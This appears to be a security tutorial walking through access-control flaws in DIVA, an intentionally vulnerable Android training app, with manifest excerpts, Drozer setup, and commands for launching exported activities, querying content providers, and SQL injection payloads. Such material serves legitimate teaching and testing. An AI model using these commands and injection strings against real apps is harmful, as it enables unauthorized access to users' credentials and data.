Improper Platform Usage Vulnerabilities / Access control Issue

by DURGESH THAKARE

Introduction to Improper Platform Usage Vulnerabilities

- Improper platform usage vulnerabilities involve misusing or mishandling Android platform features and resources, potentially leading to security risks.
- Attack scenarios often target features like Touch ID, Intents, or the Keychain.
- These vulnerabilities can have a significant impact on security and are classified as critical in OWASP's Top 10.

Impact of vulnerability: The impact of exploiting this vulnerability ranges in severity from changing the content of the app to complete account compromise.

Prevention: Secure coding and configuration practices must be used on the server side of the mobile applicaTION

API Credentials are accessible to the user.

API Credentials are accessible to the user.

Now, our goal is to access this information, without clicking this button. Let's see how to do it.

A look at the AndroidManifest. XML file reveals the following entry associated with Vendor API Credentials activity that is shown above.

```
<activity android:label="@string/apic_label" android:name="jakhar.aseem.diva.APICredsActivity">
    <intent-filter>
        <action android:name="jakhar.aseem.diva.action.VIEW_CREDS"/>
        <category android:name="android.intent.category.DEFAULT"/>
    </intent-filter>
</activity>
<activity android:label="@string/d10" android:name="jakhar.aseem.diva.AccessControl2Activity"/>
<activity android:label="@string/apic2_label" android:name="jakhar.aseem.diva.APICreds2Activity">
    <intent-filter>
        <action android:name="jakhar.aseem.diva.action.VIEW_CREDS2"/>
        <category android:name="android.intent.category.DEFAULT"/>
    </intent-filter>
</activity>
```

If you notice the above piece of code, the activity is "protected" with an intent filter. The intent filter should not be treated as a protection mechanism. When an intent-filter is used with an application component such as activity, the component is publicly exported. For the same reason, this activity is vulnerable and hence it can be invoked by any application from outside.

The Role of Drozer

- Drozer is a powerful Android application security testing framework developed by F-Secure Labs.
- It assists penetration testers in identifying vulnerabilities in Android applications.
- With Drozer, you can perform static analysis, runtime manipulation, information gathering, and enumeration of app packages.
- It simplifies the identification of security misconfigurations.

Installing Drozer

Install Drozer by running the following commands:

- sudo apt-get install docker.io
- sudo docker pull fsecurelabs/drozer
- sudo docker run -it fsecurelabs/drozer

How to Use Drozer

- Run Drozer and set it up.
- Forward ports to communicate with your Android device:
  - `adb forward tcp:31415 tcp:31415`
  - `sudo docker run -it fsecurelabs/drozer`
- Connect to the device via Drozer:
  - `drozer console connect --server deviceipaddress`

Identifying Vulnerabilities with Drozer

1 1. Exploring Modules:

- List available modules: `ls`
- Example for app activities: `ls activity`

2 2. Package Information:

- Retrieve a list of all packages: `run app.package.list`
- Get information on a specific package: `run app.package.info -a package-name`

3 3. Examining Manifest File:

- View the manifest file of a specific package: `run app.package.manifest package-name`

4 4. Assessing Attack Surface:

- Evaluate an app's attack surface by analyzing exported components: `run app.package.attacksurface package-name`

5 5. Exploring App Activities:

- List all activities within an app: `run app.activity.info -a package-name`

6 7. Exploiting App Activity

- Exploit a specific app activity by launching it with Drozer: `run app.activity.start --component package-name activity-name`

7 8. Exploring Content Provider

- Retrieve a list of content providers within an app: `run app.provider.info -a package-name`

8 9. Finding Uri For Content Provider:

Find the Uri for a specific content provider within an app: `run app.provider.finduri package-name`

`run scanner.provider.finduris -a package-name`

9 10. Exploiting App Providers:

- Expose sensitive data by querying specific content providers: `run app.provider.query content://provider-uri`

10 11. SQL Injection Testing:

- Identify potential SQL injection vulnerabilities: `run scanner.provider.injection -a package-name`
- Exploiting SQL injection vulnerabilities:
  - List tables: `run app.provider.query content-uri --projection "* FROM SQLITE_MASTER WHERE type='table';--"`
  - Retrieve data: `run app.provider.query content-uri --projection "* FROM table-name--"`

BY USING ADB TOOL

```
adb shell am start jakhar.aseem.diva/.APICredsActivity
```